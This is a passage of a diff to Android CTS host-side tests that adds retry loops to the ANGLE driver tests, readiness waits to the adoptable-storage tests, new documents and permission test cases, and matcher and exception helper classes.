-            if (!renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
+        if (!glesView.validateDeveloperOption(angleEnabled)) {
+            if (angleEnabled) {
+                String renderer = glesView.getRenderer();
                 fail("Failure - ANGLE was not loaded: '" + renderer + "'");
-            }
-        } else {
-            if (renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
+            } else {
+                String renderer = glesView.getRenderer();
                 fail("Failure - ANGLE was loaded: '" + renderer + "'");
             }
         }
-
     }
 
     @Test
diff --git a/hostsidetests/angle/app/driverTestSecondary/src/com/android/angleIntegrationTest/driverTestSecondary/AngleDriverTestActivity.java b/hostsidetests/angle/app/driverTestSecondary/src/com/android/angleIntegrationTest/driverTestSecondary/AngleDriverTestActivity.java
index ce7e5e8..7b25c39 100644
--- a/hostsidetests/angle/app/driverTestSecondary/src/com/android/angleIntegrationTest/driverTestSecondary/AngleDriverTestActivity.java
+++ b/hostsidetests/angle/app/driverTestSecondary/src/com/android/angleIntegrationTest/driverTestSecondary/AngleDriverTestActivity.java
@@ -18,13 +18,10 @@
 
 import static org.junit.Assert.fail;
 
-import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.angleIntegrationTest.common.AngleIntegrationTestActivity;
 import com.android.angleIntegrationTest.common.GlesView;
 
-import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -33,25 +30,18 @@
 
     private final String TAG = this.getClass().getSimpleName();
 
-    @Rule
-    public ActivityTestRule<AngleIntegrationTestActivity> rule =
-            new ActivityTestRule<>(AngleIntegrationTestActivity.class);
-
     private void validateDeveloperOption(boolean angleEnabled) throws Exception {
-        AngleIntegrationTestActivity activity = rule.getActivity();
-        GlesView glesView = activity.getGlesView();
-        String renderer = glesView.getRenderer();
+        GlesView glesView = new GlesView();
 
-        if (angleEnabled) {
-            if (!renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
+        if (!glesView.validateDeveloperOption(angleEnabled)) {
+            if (angleEnabled) {
+                String renderer = glesView.getRenderer();
                 fail("Failure - ANGLE was not loaded: '" + renderer + "'");
-            }
-        } else {
-            if (renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
+            } else {
+                String renderer = glesView.getRenderer();
                 fail("Failure - ANGLE was loaded: '" + renderer + "'");
             }
         }
-
     }
 
     @Test
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 85841af..c576253 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -24,6 +24,11 @@
 class CtsAngleCommon {
     private static final int TEST_WAIT_TIME_MS = 1000;
 
+    // General
+    static final int NUM_ATTEMPTS = 5;
+    static final int APPLY_SLEEP_MSEC = 500;
+    static final int REATTEMPT_SLEEP_MSEC = 5000;
+
     // Settings.Global
     static final String SETTINGS_GLOBAL_ALL_USE_ANGLE = "angle_gl_driver_all_angle";
     static final String SETTINGS_GLOBAL_DRIVER_PKGS = "angle_gl_driver_selection_pkgs";
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index 5373a3b..5cff73c 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -45,12 +45,38 @@
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS, pkgName);
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES, driverValue);
 
+        // SETTINGS_GLOBAL_DRIVER_PKGS
+        for (int i = 0; i < NUM_ATTEMPTS; i++)
+        {
+            setGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS, pkgName);
+            Thread.sleep(APPLY_SLEEP_MSEC);
+            String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
+            if (devOption.equals(pkgName))
+            {
+                break;
+            }
+            Thread.sleep(REATTEMPT_SLEEP_MSEC);
+        }
+
         String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
         Assert.assertEquals(
                 "Developer option '" + SETTINGS_GLOBAL_DRIVER_PKGS +
                         "' was not set correctly: '" + devOption + "'",
                 pkgName, devOption);
 
+        // SETTINGS_GLOBAL_DRIVER_VALUES
+        for (int i = 0; i < NUM_ATTEMPTS; i++)
+        {
+            setGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES, driverValue);
+            Thread.sleep(APPLY_SLEEP_MSEC);
+            devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
+            if (devOption.equals(driverValue))
+            {
+                break;
+            }
+            Thread.sleep(REATTEMPT_SLEEP_MSEC);
+        }
+
         devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
         Assert.assertEquals(
                 "Developer option '" + SETTINGS_GLOBAL_DRIVER_VALUES +
@@ -72,6 +98,18 @@
                 sDriverTestMethodMap.get(driver));
     }
 
+    private void installApp(String appName) throws Exception {
+        for (int i = 0; i < NUM_ATTEMPTS; i++)
+        {
+            try {
+                installPackage(appName);
+                return;
+            } catch(Exception e) {
+                Thread.sleep(REATTEMPT_SLEEP_MSEC);
+            }
+        }
+    }
+
     @Before
     public void setUp() throws Exception {
         clearSettings(getDevice());
@@ -92,8 +130,8 @@
     public void testEnableAngleForAll() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
-        installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_SEC_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
                 sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
@@ -117,7 +155,7 @@
     public void testUseDefaultDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
                 sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
@@ -134,7 +172,7 @@
     public void testUseAngleDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
                 sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
@@ -151,7 +189,7 @@
     public void testUseNativeDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
                 sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
@@ -168,8 +206,8 @@
     public void testSettingsLengthMismatch() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
-        installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_SEC_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," +
                         ANGLE_DRIVER_TEST_SEC_PKG,
@@ -191,7 +229,7 @@
     public void testUseInvalidDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG, "timtim");
 
@@ -207,7 +245,7 @@
     public void testUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
 
         for (OpenGlDriverChoice firstDriver : OpenGlDriverChoice.values()) {
             for (OpenGlDriverChoice secondDriver : OpenGlDriverChoice.values()) {
@@ -229,8 +267,8 @@
     public void testMultipleDevOptionsAngleNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
-        installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_SEC_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," +
                         ANGLE_DRIVER_TEST_SEC_PKG,
@@ -253,8 +291,8 @@
     public void testMultipleUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
-        installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_SEC_APP);
 
         // Set the first PKG to always use ANGLE
         setAndValidatePkgDriver(ANGLE_DRIVER_TEST_PKG, OpenGlDriverChoice.ANGLE);
@@ -316,7 +354,7 @@
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
         // Install the package so the setting isn't removed because the package isn't present.
-        installPackage(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
                 sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
@@ -376,8 +414,8 @@
     public void testMultipleDevOptionsAngleDefault() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_APP);
-        installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+        installApp(ANGLE_DRIVER_TEST_APP);
+        installApp(ANGLE_DRIVER_TEST_SEC_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG,
                 sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
@@ -408,7 +446,7 @@
     public void testMultipleDevOptionsAngleNativeUninstall() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
 
-        installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+        installApp(ANGLE_DRIVER_TEST_SEC_APP);
 
         setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG,
                 sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 596630b..50f55b0 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -61,22 +61,42 @@
         setProperty(getDevice(), PROPERTY_TEMP_RULES_FILE, DEVICE_TEMP_RULES_FILE_PATH);
     }
 
+    private void setAndValidateAngleDevOptionWhitelist(String whiteList) throws Exception {
+        // SETTINGS_GLOBAL_WHITELIST
+        for (int i = 0; i < NUM_ATTEMPTS; i++)
+        {
+            setGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST, whiteList);
+            Thread.sleep(APPLY_SLEEP_MSEC);
+            String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
+            if (devOption.equals(whiteList))
+            {
+                break;
+            }
+            Thread.sleep(REATTEMPT_SLEEP_MSEC);
+        }
+
+        String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
+        Assert.assertEquals(
+            "Developer option '" + SETTINGS_GLOBAL_WHITELIST +
+                "' was not set correctly: '" + devOption + "'",
+            whiteList, devOption);
+    }
+
     @Before
     public void setUp() throws Exception {
         clearSettings(getDevice());
 
         mWhiteList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
 
-        // Application must be whitelisted to load temp rules
-        setGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST,
-                ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG);
+        final String whitelist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG;
+        setAndValidateAngleDevOptionWhitelist(whitelist);
     }
 
     @After
     public void tearDown() throws Exception {
         clearSettings(getDevice());
 
-        setGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST, mWhiteList);
+        setAndValidateAngleDevOptionWhitelist(mWhiteList);
 
         FileUtil.deleteFile(mRulesFile);
     }
diff --git a/hostsidetests/appbinding/hostside/AndroidTest.xml b/hostsidetests/appbinding/hostside/AndroidTest.xml
index 54dad24..4d96aec 100644
--- a/hostsidetests/appbinding/hostside/AndroidTest.xml
+++ b/hostsidetests/appbinding/hostside/AndroidTest.xml
@@ -20,6 +20,7 @@
     <!-- Instant apps can't be the default SMS app. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="am wait-for-broadcast-idle" />
diff --git a/hostsidetests/appbinding/hostside/OWNERS b/hostsidetests/appbinding/hostside/OWNERS
new file mode 100644
index 0000000..77d350b
--- /dev/null
+++ b/hostsidetests/appbinding/hostside/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 533114
+omakoto@google.com
+yamasani@google.com
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index 13f1b02..159937f 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -26,8 +26,10 @@
 per-file PermissionsHostTest.java = moltmann@google.com
 per-file PkgInstallSignatureVerificationTest.java = cbrubaker@google.com
 per-file PrivilegedUpdateTests.java = toddke@google.com
+per-file ReviewPermissionHelper = moltmann@google.com
+per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
 per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
 per-file SplitTests.java = toddke@google.com
 per-file StorageHostTest.java = jsharkey@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
-per-file UsePermission*.java = moltmann@google.com
+per-file UsePermission*.java = moltmann@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index d8a280e..f69431a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -117,17 +117,7 @@
             // Unmount, remount and verify
             getDevice().executeShellCommand("sm unmount " + vol.volId);
             getDevice().executeShellCommand("sm mount " + vol.volId);
-
-            int attempt = 0;
-            String pkgPath = getDevice().executeShellCommand("pm path " + PKG);
-            while ((pkgPath == null || pkgPath.isEmpty()) && attempt++ < 15) {
-                Thread.sleep(1000);
-                pkgPath = getDevice().executeShellCommand("pm path " + PKG);
-            }
-
-            if (pkgPath == null || pkgPath.isEmpty()) {
-                throw new AssertionError("Package not ready yet");
-            }
+            waitForInstrumentationReady();
 
             runDeviceTests(PKG, CLASS, "testDataNotInternal");
             runDeviceTests(PKG, CLASS, "testDataRead");
@@ -192,6 +182,8 @@
         getDevice().executeShellCommand("sm unmount " + vol.volId);
         runDeviceTests(PKG, CLASS, "testPrimaryUnmounted");
         getDevice().executeShellCommand("sm mount " + vol.volId);
+        waitForInstrumentationReady();
+
         runDeviceTests(PKG, CLASS, "testPrimaryAdopted");
         runDeviceTests(PKG, CLASS, "testPrimaryDataRead");
 
@@ -236,6 +228,8 @@
         getDevice().executeShellCommand("sm unmount " + vol.volId);
         runDeviceTests(PKG, CLASS, "testPrimaryUnmounted");
         getDevice().executeShellCommand("sm mount " + vol.volId);
+        waitForInstrumentationReady();
+
         runDeviceTests(PKG, CLASS, "testPrimaryAdopted");
         runDeviceTests(PKG, CLASS, "testPrimaryDataRead");
 
@@ -303,6 +297,8 @@
 
             // Kick through a remount cycle, which should purge the adopted app
             getDevice().executeShellCommand("sm mount " + vol.volId);
+            waitForInstrumentationReady();
+
             runDeviceTests(PKG, CLASS, "testDataInternal");
             boolean didThrow = false;
             try {
@@ -364,7 +360,7 @@
             for (String line : lines) {
                 final LocalVolumeInfo info = new LocalVolumeInfo(line.trim());
                 if (!"private".equals(info.volId) && "mounted".equals(info.state)) {
-                    return info;
+                    return waitForVolumeReady(info);
                 }
             }
             Thread.sleep(1000);
@@ -372,6 +368,33 @@
         throw new AssertionError("Expected private volume; found " + Arrays.toString(lines));
     }
 
+    private LocalVolumeInfo waitForVolumeReady(LocalVolumeInfo vol) throws Exception {
+        int attempt = 0;
+        while (attempt++ < 15) {
+            if (getDevice().executeShellCommand("dumpsys package").contains(vol.volId)) {
+                return vol;
+            }
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("Volume not ready " + vol.volId);
+    }
+
+    private void waitForInstrumentationReady() throws Exception {
+        // Wait for volume ready first
+        getAdoptionVolume();
+
+        int attempt = 0;
+        String pkgInstr = getDevice().executeShellCommand("pm list instrumentation");
+        while ((pkgInstr == null || !pkgInstr.contains(PKG)) && attempt++ < 15) {
+            Thread.sleep(1000);
+            pkgInstr = getDevice().executeShellCommand("pm list instrumentation");
+        }
+
+        if (pkgInstr == null || !pkgInstr.contains(PKG)) {
+            throw new AssertionError("Package not ready yet");
+        }
+    }
+
     private void cleanUp(String diskId) throws Exception {
         getDevice().executeShellCommand("sm partition " + diskId + " public");
         getDevice().executeShellCommand("sm forget all");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 10ea74e..1465bc3 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -65,6 +65,10 @@
         runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testTree");
     }
 
+    public void testTree_blockFromTree() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testTree_blockFromTree");
+    }
+
     public void testGetContent_rootsShowing() throws Exception {
         runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testGetContent_rootsShowing");
     }
@@ -95,6 +99,10 @@
         runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testOpenDocumentTreeAtInitialLocation");
     }
 
+    public void testOpenDocumentTreeWithScopedStorage() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testOpenDocumentTreeWithScopedStorage");
+    }
+
     public void testOpenRootWithoutRootIdAtInitialLocation() throws Exception {
         runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
                 "testOpenRootWithoutRootIdAtInitialLocation");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExceptionUtils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExceptionUtils.java
new file mode 100644
index 0000000..437f2aa
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExceptionUtils.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+/**
+ * Utilities to deal with exceptions
+ */
+public class ExceptionUtils {
+    private ExceptionUtils() {}
+
+    /**
+     * Gets the root {@link Throwable#getCause() cause} of {@code t}
+     */
+    public static Throwable getRootCause(Throwable t) {
+        while (t.getCause() != null) t = t.getCause();
+        return t;
+    }
+
+    /**
+     * Appends {@code cause} at the end of the causal chain of {@code t}
+     *
+     * @return {@code t} for convenience
+     */
+    public static <E extends Throwable> E appendCause(E t, Throwable cause) {
+        if (cause != null) {
+            getRootCause(t).initCause(cause);
+        }
+        return t;
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MatcherUtils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MatcherUtils.java
new file mode 100644
index 0000000..3acfd90
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MatcherUtils.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.hamcrest.CoreMatchers.both;
+import static org.junit.Assert.assertThat;
+
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
+import org.junit.Assert;
+
+import java.util.function.Function;
+
+/**
+ * {@link Matcher} factories and {@link Assert#assertThat assertion} utilities.
+ */
+public class MatcherUtils {
+    private MatcherUtils() {}
+
+    /**
+     * Creates a matcher based on whether object's given property property satisfies
+     * the given matcher.
+     *
+     * This is often preferable over just retrieving the property directly and asserting on it, as
+     * it ensures the enclosing object is included in the error message, providing better context.
+     *
+     * E.g.:
+     * {@code
+     *   Matcher<Intent> isExplicit =
+     *           propertyMatches("component", Intent::getComponent, notNullValue());
+     *   assertThat(myIntent, isExplicit);
+     *   // ^ properly includes myIntent in error message, should match fail
+     * }
+     *
+     * @param propName property name to be used in error message
+     * @param propGetter retriever of the property value used for evaluation
+     * @param propCondition condition a property is asserted to satisfy
+     * @param <RECEIVER> type that has the given property
+     * @param <PROP> type of the given property
+     * @return a mather on {@code RECEIVER} type
+     */
+    public static <RECEIVER, PROP> Matcher<RECEIVER> propertyMatches(
+            String propName,
+            Function<? super RECEIVER, ? extends PROP> propGetter,
+            Matcher<? extends PROP> propCondition) {
+        return new TypeSafeMatcher<RECEIVER>() {
+            @Override
+            protected boolean matchesSafely(RECEIVER item) {
+                return propCondition.matches(propGetter.apply(item));
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("has ")
+                        .appendText(propName)
+                        .appendText(" that ")
+                        .appendDescriptionOf(propCondition);
+            }
+        };
+    }
+
+    /**
+     * A more type-safe version of: {@link CoreMatchers#instanceOf} && {@code cond},
+     * with {@code cond} being parametrized on the subtype being tested for as the first step.
+     */
+    public static <SUPER, SUB extends SUPER> Matcher<SUPER> instanceOf(
+            Class<SUB> type, Matcher<? super SUB> cond) {
+        return (Matcher<SUPER>) both(CoreMatchers.instanceOf(type)).and((Matcher) cond);
+    }
+
+    /**
+     * {@link Throwable} matcher based on whether its {@link Throwable::getMessage message} is
+     * matching {@code condition}.
+     */
+    public static Matcher<Throwable> hasMessageThat(Matcher<? super String> condition) {
+        return propertyMatches("message", Throwable::getMessage, condition);
+    }
+
+    /**
+     * Runs {@code action}, and asserts that it throws an exception matching {@code exceptionCond}.
+     */
+    public static void assertThrows(
+            Matcher<? super Throwable> exceptionCond, ThrowingRunnable action) {
+        Throwable thrown;
+        try {
+            action.run();
+            thrown = null;
+        } catch (Throwable t) {
+            thrown = t;
+        }
+        assertOrRethrow(thrown, exceptionCond);
+    }
+
+    /**
+     * Asserts that {@code exception} matches the given {@code condition}, or else
+     * throws the resulting assertion error, with the original exception attached as a cause.
+     */
+    public static <E extends Throwable> void assertOrRethrow(
+            E exception, Matcher<? super E> condition) throws AssertionError {
+        try {
+            assertThat(exception, condition);
+        } catch (AssertionError err) {
+            throw ExceptionUtils.appendCause(err, exception);
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
index a1ec91e..72a76641 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -149,7 +149,7 @@
             getDevice().executeShellCommand("cmd overlay enable --user current " + overlayPackage);
             waitForOverlayState(overlayPackage, STATE_ENABLED);
 
-            runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod);
+            runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod, false /* instant */);
         } finally {
             getDevice().uninstallPackage(TARGET_PACKAGE);
             getDevice().uninstallPackage(overlayPackage);
@@ -294,7 +294,7 @@
     @Test
     public void testFrameworkDoesNotDefineOverlayable() throws Exception {
         String testMethod = "testFrameworkDoesNotDefineOverlayable";
-        runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod);
+        runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod, false /* instant */);
     }
 
     /** Overlays must not overlay assets. */
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index 3149383..cd789bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -16,6 +16,12 @@
 
 package android.appsecurity.cts;
 
+import static android.appsecurity.cts.MatcherUtils.assertThrows;
+import static android.appsecurity.cts.MatcherUtils.hasMessageThat;
+import static android.appsecurity.cts.MatcherUtils.instanceOf;
+
+import static org.hamcrest.CoreMatchers.containsString;
+
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 
@@ -123,31 +129,16 @@
     public void testFail() throws Exception {
         // Sanity check that remote failure is host failure
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
-        boolean didThrow = false;
-        try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
-                    "testFail");
-        } catch (AssertionError expected) {
-            didThrow = true;
-        }
-        if (!didThrow) {
-            fail("Expected remote failure");
-        }
+        assertThrows(
+                instanceOf(AssertionError.class, hasMessageThat(containsString("Expected"))),
+                () -> runDeviceTests(USES_PERMISSION_PKG,
+                        "com.android.cts.usepermission.UsePermissionTest23", "testFail"));
     }
 
     public void testKill() throws Exception {
         // Sanity check that remote kill is host failure
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
-        boolean didThrow = false;
-        try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
-                    "testKill");
-        } catch (AssertionError expected) {
-            didThrow = true;
-        }
-        if (!didThrow) {
-            fail("Expected remote failure");
-        }
+        runThrowingTest("com.android.cts.usepermission.UsePermissionTest23", "testKill");
     }
 
     @AppModeFull(reason = "Instant applications must be at least SDK 26")
@@ -166,16 +157,8 @@
 
         approveReviewPermissionDialog();
 
-        boolean didThrow = false;
-        try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
-                    "testCompatRevoked_part1");
-        } catch (AssertionError expected) {
-            didThrow = true;
-        }
-        if (!didThrow) {
-            fail("App must be killed on a permission revoke");
-        }
+        runThrowingTest("com.android.cts.usepermission.UsePermissionTest22",
+                "testCompatRevoked_part1");
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testCompatRevoked_part2");
     }
@@ -258,32 +241,16 @@
 
     public void testRevokeAffectsWholeGroup23() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
-        boolean didThrow = false;
-        try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
-                    "testRevokeAffectsWholeGroup_part1");
-        } catch (AssertionError expected) {
-            didThrow = true;
-        }
-        if (!didThrow) {
-            fail("Should have thrown an exception.");
-        }
+        runThrowingTest("com.android.cts.usepermission.UsePermissionTest23",
+                "testRevokeAffectsWholeGroup_part1");
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokeAffectsWholeGroup_part2");
     }
 
     public void testGrantPreviouslyRevokedWithPrejudiceShowsPrompt23() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
-        boolean didThrow = false;
-        try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
